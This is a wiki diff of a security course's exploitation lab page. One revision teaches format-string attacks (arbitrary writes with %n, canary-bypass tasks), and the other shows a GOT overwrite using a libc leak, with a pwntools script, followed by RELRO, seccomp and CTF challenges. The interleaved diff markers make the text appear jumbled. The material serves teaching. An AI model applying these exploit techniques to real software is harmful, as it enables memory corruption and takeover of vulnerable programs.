-Would print "6"With the same method we used above to print memory from arbitrary addresseswe can write to arbitrary locations: +silvia@imladris:/sss/demo$ file $(realpath /lib/i386-linux-gnu/libc.so.6) 
-<code> +/lib/i386-linux-gnu/libc-2.27.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=cf1599aa8b3cb35f79dcaea7a8b48704ecf42a19, for GNU/Linux 3.2.0stripped 
-"AAA0_%08x.%08x.%08x.%08x.%08x.%n"+silvia@imladris:/sss/demo$ strings /lib/i386-linux-gnu/libc.so.6 | grep "GLIBC " 
 +GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.2) stable release version 2.27.
 </code> </code>
  
-With the '%08x' parameter we increase the internal stack pointer of the format function by four bytes.  +Alternatively, if we don't have prior knowledge of the remote system where the binary runs, but obtain via an information leak some addresses, we may be able to identify the ''libc'' based on the last 3 nibbles of these addresses
-We do this until this pointer points to the beginning of our format string (to 'AAA0'). This works, because usually our format string is located on the stack, on top of our normal format function stack frame.  + 
-The '%n' writes to the address 0x30414141that is represented by the string "AAA0". Normally this would crash the program, since this address is not mapped.  +For example, we have the following pair of addresses:
-But if we supply a correct mapped and writeable address this works and we overwrite four bytes (sizeof (int)) at the address:+
 <code> <code>
-"\xc0\xc8\xff\xbf_%08x.%08x.%08x.%08x.%08x.%n"+0xf7df6250 <__libc_system> 
 +0xf7e780e0 <__sleep>
 </code> </code>
 +We enter them in the [[https://libc.blukat.me/|libc database]] and get a match for the same ''libc'' build we determined earlier.
  
-The format string above will overwrite four bytes at 0xbfffc8c0 with a small integer number.  +For this ''libc'', we obtain the offsets of the functions we are interested in using GDB
-We have reached one of our goals: we can write to arbitrary addresses. But we cannot control the number we are writing yet — but this will change. +<code bash
- +silvia@imladris:/sss/demo$ gdb -q -n /lib/i386-linux-gnu/libc.so.6 
-The number we are writing — the count of characters written by the format function — is dependant on the format string.  +(gdbp printf 
-Since we control the format string, we can at least take influence on this counter, by writing more or less bytes+$1 {<text variable, no debug info>} 0x513a0 <__printf> 
-<code C+(gdbp exit 
-int a; +$2 {<text variable, no debug info>} 0x30420 <__GI_exit>
-printf ("%10u%n", 7350, &a); +
-/* a == 10 */ +
-int a; +
-printf ("%150u%n", 7350, &a); +
-/* a == 150 */+
 </code> </code>
-By using a dummy parameter '%nu' we are able to control the counter written by '%n', at least a bit.  
-But for writing large numbers — such as addresses — this is not sufficient, so we have to find a way to write arbitrary data. 
  
-An integer number on the x86 architecture is stored in four bytes, which are little-endian ordered, the least significant byte being the first in memory. +We will also need the address of ''sleep@got'' (which is static because the binary is not position independent)
-So a number like 0x0000014c is stored in memory as"\x4c\x01\x00\x00". +<code bash> 
- +silvia@imladris:/sss/demo$ objdump -d -M intel -j .plt ./got_overwrite | grep "sleep@plt" -A1 
-For the counter in the format function we can control the least significant byte, the first byte stored in memory by using dummy '%nu' parameters to modify it+080483b0 <sleep@plt>: 
-Example: + 80483b0:   ff 25 0c a0 04 08       jmp    DWORD PTR ds:0x804a00c
-<code C+
-unsigned char foo[4]; +
-printf ("%64u%n", 7350, (int *) foo);+
 </code> </code>
  
-When the printf function returns, foo[0] contains '\x40', which is equal to 64, the number we used to increase the counter. +We start the program and compute the address of exit based on the leak of printf (in another terminal)
- +<code bash
-But for an address, there are four bytes that we have to control completely. If we are unable to write four bytes at once, we can try to write a byte a time for four times in a row.  +>>> printf_offset = 0x513a0 
-On most CISC architectures it is possible to write to unaligned arbitrary addresses. This can be used to write to the second least significant byte of the memory, where the address is stored. +>>> exit_offset = 0x30420 
-This would look as follows+>>> 0xf7dfb3a0 - printf_offset + exit_offset 
-<code C+4158497824
-unsigned char canary[5]; +
-unsigned char foo[4]; +
-memset (foo, 0, sizeof (foo)); +
-/* 0 * before */ strcpy (canary, "AAAA"); +
-/* 1 */ printf ("%16u%n", 7350, (int *) &foo[0]); +
-/* 2 */ printf ("%32u%n", 7350, (int *) &foo[1]); +
-/* 3 */ printf ("%64u%n", 7350, (int *) &foo[2]); +
-/* 4 */ printf ("%128u%n", 7350, (int *) &foo[3]); +
-/* 5 * after */ printf ("%02x%02x%02x%02x\n", foo[0], foo[1], +
-foo[2], foo[3]); +
-printf ("canary: %02x%02x%02x%02x\n", canary[0], +
-canary[1], canary[2], canary[3]);+
 </code> </code>
-This returns the output "10204080" and "canary: 00000041". We overwrite four times the least significant byte of an integer we point to.  +<code> 
-By increasing the pointer each time, the least significant byte moves through the memory we want to write to, and allows us to store completely arbitrary data. +silvia@imladris:/sss/demo$ ./got_overwrite 
-As you can see in the first row of the following figure, all eight bytes are not touched yet by our overwrite code.  +Here's a libc address0xf7dfb3a0 
-From the second row on we trigger four overwrites, shifted by one byte to the right for every step.  +Give me and address to modify! 
-The last row shows the final desired statewe overwrote all four bytes of our foo array, but while doing so, we destroyed three bytes of the canary array.  +0x804a00c 
-We included the canary array just to see that we are overwriting memory we do not want to. +Give me a value! 
-{{ :session:4-stage-overwrite.png?direct&350 |}} +4158497824 
-Although this method looks complex, it can be used to overwrite arbitrary data at arbitrary addresses.  +silvia@imladris:/sss/demo$ echo $? 
-For explanation we have only used one write per format string until now, but it is also possible to write multiple times within one format string: +10
-<code C> +
-strcpy (canary, "AAAA"); +
-printf ("%16u%n%16u%n%32u%n%64u%n", +
-        1, (int *) &foo[0], 1, (int *) &foo[1], +
-        1, (int *) &foo[2], 1, (int *) &foo[3]); +
-printf ("%02x%02x%02x%02x\n", foo[0], foo[1], +
-        foo[2], foo[3]); +
-printf ("canary%02x%02x%02x%02x\n", canary[0], +
-        canary[1], canary[2], canary[3]);+
 </code> </code>
  
-We use the '1parameters as dummy arguments to our '%upaddings.  Also, the padding has changed, since the counter of the characters is already at 16 when we want to write 32.  +As we intended, the GOT entry corresponding to ''sleep'' was overwritten by ''exit'' and the program exited with code 10 without printing the final message.
-So we only have to add 16 characters instead of 32 to it, to get the results we desire. +
-This was a special case, in which all the bytes increased throughout the writes. But we could also write ''80 40 20 10'' with only a minor modification.+
  
-Since we write integer numbers and the order is little endian, only the least significant byte is important in the writes.  +The following pwntools script automates this interaction
-By using counters of 0x80, 0x140, 0x220 and 0x310 characters respectivly when “%n” is triggered, we can construct the desired string.  +<code python
-The code to calculate the desired numberof-written-chars counter is this: +from pwn import *
-<code C+
-write_byte += 0x100; +
-already_written %= 0x100; +
-padding = (write_byte - already_written) % 0x100; +
-if (padding < 10) +
-    padding += 0x100; +
-</code>+
  
-Where 'write_byteis the byte we want to create, 'already_written' is the current counter of written bytes the format function maintains and 'padding; is the number of bytes we have to increase the counter with. +p = process('./got_overwrite') 
-Example: +libc ELF('/lib/i386-linux-gnu/libc.so.6')
-<code C> +
-write_byte 0x7f; +
-already_written = 30; +
-write_byte += 0x100; /* write_byte is 0x17f now */ +
-already_written %= 0x100; /* already_written is 30 */+
  
-/* afterwards padding is 97 (0x61) */ +sleep_got p.elf.got['sleep']
-padding = (write_byte - already_written) % 0x100; +
-if (padding < 10) +
-    padding += 0x100; +
-</code>+
  
-Now a format string of “%97u” would increase the '%n'-counterso that the least significant byte equals 'write_byte' +p.recvuntil('libc address:'
-The final check if the padding is below ten deserves some attentionA simple integer output, such as "%u" can generate a string of a length up to ten characters, depending on the integer number it outputs. +libc_leak = int(p.recvuntil('\n')[:-1]16) 
-If the required length is larger than the padding we specify, say we want to output '1000with a "%2u", our value will be dropped in favor to not losing any meaningful output.  +libc_base = libc_leak - libc.symbols['printf']
-By ensuring our padding is always larger than 10, we can keep an always accurate number of ‘already_written’, the counter the format function maintains, since we always write exactly as much output bytes as specified with the length option in the format parameter.+
  
-=== A general method to exploit format strings vulnerabilities +print("Libc base is at0x%x" libc_base)
-The only remaining thing to exploit such vulnerabilities in a hands-on practical way is to put the arguments into the right order on the stack and use a stackpop sequence to increase the stack pointer.  +
-It should look like: +
-<code> +
-<stackpop><dummy-addr-pair * 4><write-code> +
-</code> +
-Where:  +
- * **stackpop** The sequence of stack popping parameters that increase the stack pointer. Once the stackpop has been processed, the format function internal stack pointer points to the beginning of the dummy-addr-pair strings. +
- * **dummy-addr-pair** Four pairs of dummy integer values and addresses to write to. The addresses are increasing by one with each pair, the dummy integer value can be anything that does not contain NULL bytes. +
- * **write-code** The part of the format string that actually does the writing to the memory, by using '%nu%n' pairs, where n is greater than 10. The first part is used to increase or overflow the least significant byte of the format function internal bytes-written counter, and the '%n' is used to write this counter to the addresses that are within the dummy-addr-pair part of the string.+
  
-The write code has to be modified to match the number of bytes written by the stackpop, since the stackpop wrote already characters to the output when the format function parses the write-code — the format function counter does not start at zero, and this has to be considered. +exit libc_base + libc.symbols['exit'] 
-=== Direct Parameter Access + 
-There is a huge simplification which is known as 'direct parameter access', a way to directly address a stack parameter from within the format stringAlmost all currently in use C libraries do support this features, but not all are useable to apply this +p.sendline(hex(sleep_got))
-method to format string exploitation. +
-The direct parameter access is controlled by the '$qualifier: +
-<code C> +
-printf ("%6$d\n", 6, 5, 4, 3, 2, 1)+
-</code>+
  
-Prints '1', because the '6$' explicitly addresses the 6th parameter on the stack. Using this method the whole stack pop sequence can be left out.+p.recvuntil('value!'
 +p.sendline(str(exit))
  
-<code C> +p.interactive()
-char foo[4]; +
-printf ("%1$16u%2$n" +
-        "%1$16u%3$n" +
-        "%1$32u%4$n" +
-        "%1$64u%5$n", +
-         1, +
-        (int *) &foo[0], (int *) &foo[1], +
-        (int *) &foo[2], (int *) &foo[3]);+
 </code> </code>
  
 +==== RELRO ====
  
-=== Generalizing format string exploits +**RELRO** (**Rel**ocation **R**ead-**O**nly) defends against attacks which overwrite data in relocation sections, such as the GOT-overwrite we showed earlier.
-The ''printf'' example is just one of many cases of format string vulnerabilities.  +
-In general, any system where user input affects program execution and data access in a custom way can be susceptible to such a vulnerabilityOther specialized examples can be considered: +
- * SQL injections +
- * XSS injections +
-== Tasks+
  
-=== Stack Canaries+It comes in two flavors: partial and full. Partial RELRO protects the ''.init_array'', ''.fini_array'', ''.dynamic'' and ''.got'' sections (but NOT ''.got.plt''). Full RELRO additionally protects ''.got.plt'', rendering the GOT overwrite attack infeasible.
  
-Download the following archive: {{:session:canaries_tasks.tar.gz|}}. The binaries should be fairly easy to reverse engineerYou can use any tool.+In the last session we explained how the addresses of dynamically linked functions are resolved using lazy bindingWhen Full RELRO is in effect, the addresses are resolved at load-time and then marked as read-onlyDue to the way address space protection works, this means that the .got resides in the read-only mapping, instead 
 +of the read-write mapping that contains the ''.bss''.
  
 +This is not a game-over in terms of exploitation, as other overwriteable code pointers often exist. These can be specific to the application we want to exploit or reside in shared libraries (for example: the GOT of shared libraries that are not compiled with RELRO). The return addresses on the stack are still viable targets.
  
 +==== seccomp ====
  
-==== Task 1+**seccomp** is a mechanism though which an application may transition into a state where the system calls it performs are restricted. The policy, which may act on a whitelist or blacklist model, is described using [[https://lwn.net/Articles/593476/|eBPF]].
  
-The ''1-mycanary'' binary contains a custom stack canary implementation. Can you defeat it? Call ''bad_func()''.+seccomp filters are instated using the ''prctl'' syscall (''PR_SET_SECCOMP''). Once it is in effect, the application will be effectively sandboxed and the restrictions will be inherited by child processes.
  
-==== Task 2+This may severely limit our exploitation prospects in some cases. In the challenges that we have solved during these sessions, a common goal was spawning a shell and retrieving a certain file (the flag). If the exploited binary used a  seccomp filter that disallowed the ''execve'' syscall (used by the ''system'' library function), this would have thwarted our exploit.
  
-The ''2-bulletproof'' binary is compiled using GCC's SSP. I bet you can defeat it, **twice**! Don't let me downCall ''bad_func()'' in **2 ways**by overwriting a function pointer, and by overwriting a stack return address. **Disable ASLR for the second attack.**+The [[https://github.com/david942j/seccomp-tools|seccomp-tools suite]] provides tools for analyzing seccomp filters. The ''dump'' subcommand may be used to extract the filter from a binary at runtime and display it in a pseudocode format: 
 +<code bash> 
 +silvia@imladris:/sss/demo$ seccomp-tools dump ./seccomp_example 
 + line  CODE  JT   JF      K 
 +================================= 
 + 0000: 0x20 0x00 0x00 0x00000004  A = arch 
 + 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386goto 0011 
 + 00020x20 0x00 0x00 0x00000000  A = sys_number 
 + 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011 
 + 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011 
 + 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011 
 + 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011 
 + 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011 
 + 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011 
 + 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011 
 + 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38) 
 + 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW 
 +</code>
  
-<note warning> +In the example above we see a filter operating on the whitelist model: it specifies a subset of syscalls that are allowed: ''rt_sigreturn'', ''sigreturn'', ''exit_group'', ''exit'', ''open'', ''read'' and ''write''.
-You need to use the 32 bit VM to solve the second part of this task. +
-</note>+
  
-<note warning+<note tip
-''bad_func'' does not exit the program! You should use cat ''<payload_file> - | ./2-bulletproof'' so that you can detect if ''bad_func'' was called in the program loop.+To install seccomp-tools on the Kali VM, use the the gem package manager: 
 +<code> 
 +$ gem install seccomp-tools 
 +</code>
 </note> </note>
  
-<note tip>In case you need some help on these, please take a look at the {{:session:canaries_source.zip|source code}} </note>+===== Challenges =====
  
 +==== 01-04. Challenges - rwslotmachine[1-4] ====
 +
 +All of the challenges in this section are intended to be solved with **ASLR enabled**. However, you are free to disable it while developing your exploit for debugging purposes. You are provided with the needed shared libraries from the remote system.
 +
 +The challenges are based on the same //"application"//: the binaries expose very similar functionality with minimal implementation differences. Your job is to identify the defense mechanisms in use for each of them and bypass them in order to read a flag from the remote system.
 +
 +They are numbered in the suggested solving order.
  
-=== Format Strings 
-Download the following archive {{:session:format_string_tasks.tgz|}} containing 5 binaries exhibiting a format string vulnerability. Analyze what each binary does using the methods already familiar to you and try to determine the exact format string that will lead to the desired result.  
 <note important> <note important>
-The difficulty of the task associated with each binary increases with the number of the binary+In the case of ''rwslotmachine4'', you will need the shared library ''libint.so''
 </note> </note>
-<note tip>(gdb) $_siginfo._sifields._sigfault.si_addr + 
-shows you the invalid address associated with a SIGSEGV signal. +<note important> 
 +To set LD_LIBRARY_PATH from a pwntools script, use this method: 
 +<code python> 
 += process('./rwslotmachineX', env={'LD_LIBRARY_PATH' : '.'}) 
 +</code>
 </note> </note>
 +
 <note tip> <note tip>
-In case you get stuckplease have a look at the {{:session:string_format_source.tgz|source code}} for the exercises+//Hint//: Do not waste time on reverse engineering ''rwslotmachine3''! It is very similar to ''rwslotmachine2''but operates on the client/server model.
 </note> </note>
-== References 
- * [[http://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf]] 
  
-=== Feedback 
-Your feedback is very much needed and appreciated [[https://docs.google.com/forms/d/1iO7iNwyTdXi-2TVWnc5M4z3789Kiuu9god7PJ3xMKOU/edit|Feedback]] 
  
 +==== 05. Bonus - rwslotmachine5 ====
 +
 +This challenge is similar to ''rwslotmachine1''. However, your exploit for the first challenge will (most likely) not work. Investigate why and develop a bypass.
 +
 +<note tip>
 +You can find a table describing x86 syscalls [[http://security.cs.pub.ro/hexcellents/wiki/kb/exploiting/linux_abi_x32|here]].
 +</note>
session/10.1563227128.txt.gz · Last modified: 2019/07/16 00:45 by Radu-Nicolae NICOLAU (78289)